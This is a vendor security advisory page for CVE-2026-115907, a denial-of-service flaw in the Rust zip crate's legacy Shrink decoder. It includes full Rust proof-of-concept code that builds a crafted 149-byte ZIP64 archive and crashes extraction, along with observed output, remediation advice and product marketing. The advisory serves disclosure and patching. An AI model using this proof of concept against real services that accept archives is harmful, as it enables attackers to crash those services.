CVE-2026-115907

CVE-2026-115907 is a high-severity uncontrolled resource consumption vulnerability in zip (rust), affecting versions >= 5.1.0, < 9.0.0. It is fixed in 9.0.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size

A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.

Details

When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:

if !self.stream_read {
    self.stream_read = true;
    let mut compressed_bytes = Vec::new();
    self.compressed_reader.read_to_end(&mut compressed_bytes)?;
    self.stream.reserve(self.uncompressed_size as usize);
    hwunshrink(
        &compressed_bytes,
        self.uncompressed_size as usize,
        &mut self.stream,
    )?;
}

In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.

self.uncompressed_size is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.

The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().

The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.

PoC

Create a new Cargo project with the following layout:

zip2-legacy-poc/
|-- Cargo.toml
`-- src/
    `-- main.rs

Use this Cargo.toml:

[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false

[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }

Use this src/main.rs:

use std::fs::File;
use std::io::{Cursor, Write};

fn push16(out: &mut Vec<u8>, value: u16) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push32(out: &mut Vec<u8>, value: u32) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push64(out: &mut Vec<u8>, value: u64) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn zip64_extra() -> Vec<u8> {
    let mut extra = Vec::new();
    push16(&mut extra, 0x0001);
    push16(&mut extra, 16);
    push64(&mut extra, u64::MAX);
    push64(&mut extra, 1);
    extra
}

fn archive() -> Vec<u8> {
    let name = b"entry";
    let extra = zip64_extra();
    let mut out = Vec::new();

    push32(&mut out, 0x0403_4b50);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);
    out.push(0);

    let central_start = out.len() as u32;

    push32(&mut out, 0x0201_4b50);
    push16(&mut out, 45);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, 0);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);

    let central_size = out.len() as u32 - central_start;

    push32(&mut out, 0x0605_4b50);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push16(&mut out, 1);
    push16(&mut out, 1);
    push32(&mut out, central_size);
    push32(&mut out, central_start);
    push16(&mut out, 0);
    out
}

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let bytes = archive();
    File::create("poc.zip")?.write_all(&bytes)?;

    let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;
    let entry = archive.by_index(0)?;

    println!(
        "method={:?} declared_size={}",
        entry.compression(),
        entry.size()
    );

    drop(entry);

    let output = tempfile::tempdir()?;
    archive.extract(output.path())?;
    Ok(())
}

Run the reproducer in release mode:

cd zip2-legacy-poc
RUST_BACKTRACE=1 cargo run --release

Observed output with zip 8.6.0 on x86_64-unknown-linux-gnu:

method=Shrink declared_size=18446744073709551615

thread 'main' panicked at .../alloc/src/raw_vec/mod.rs:
capacity overflow

The backtrace reaches the Shrink decompressor through std::io::copy and ZipArchive::extract_internal(). The process exits with status 101. The program also writes the generated 149-byte archive to poc.zip before triggering extraction.

Impact

Applications that enable legacy-zip and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.

  • zip::read::ZipArchive::extract

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-115907 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.0.0); upgrading removes the vulnerable code path.

Affected versions

zip (>= 5.1.0, < 9.0.0)

Security releases

zip → 9.0.0 (rust)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade zip to 9.0.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-115907? CVE-2026-115907 is a high-severity uncontrolled resource consumption vulnerability in zip (rust), affecting versions >= 5.1.0, < 9.0.0. It is fixed in 9.0.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. How severe is CVE-2026-115907? CVE-2026-115907 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of zip are affected by CVE-2026-115907? zip (rust) versions >= 5.1.0, < 9.0.0 is affected.
  4. Is there a fix for CVE-2026-115907? Yes. CVE-2026-115907 is fixed in 9.0.0. Upgrade to this version or later.
  5. Is CVE-2026-115907 exploitable, and should I be worried? Whether CVE-2026-115907 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-115907 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-115907? Upgrade zip to 9.0.0 or later.

Other vulnerabilities in zip

Stop the waste.
Protect your environment with Kodem.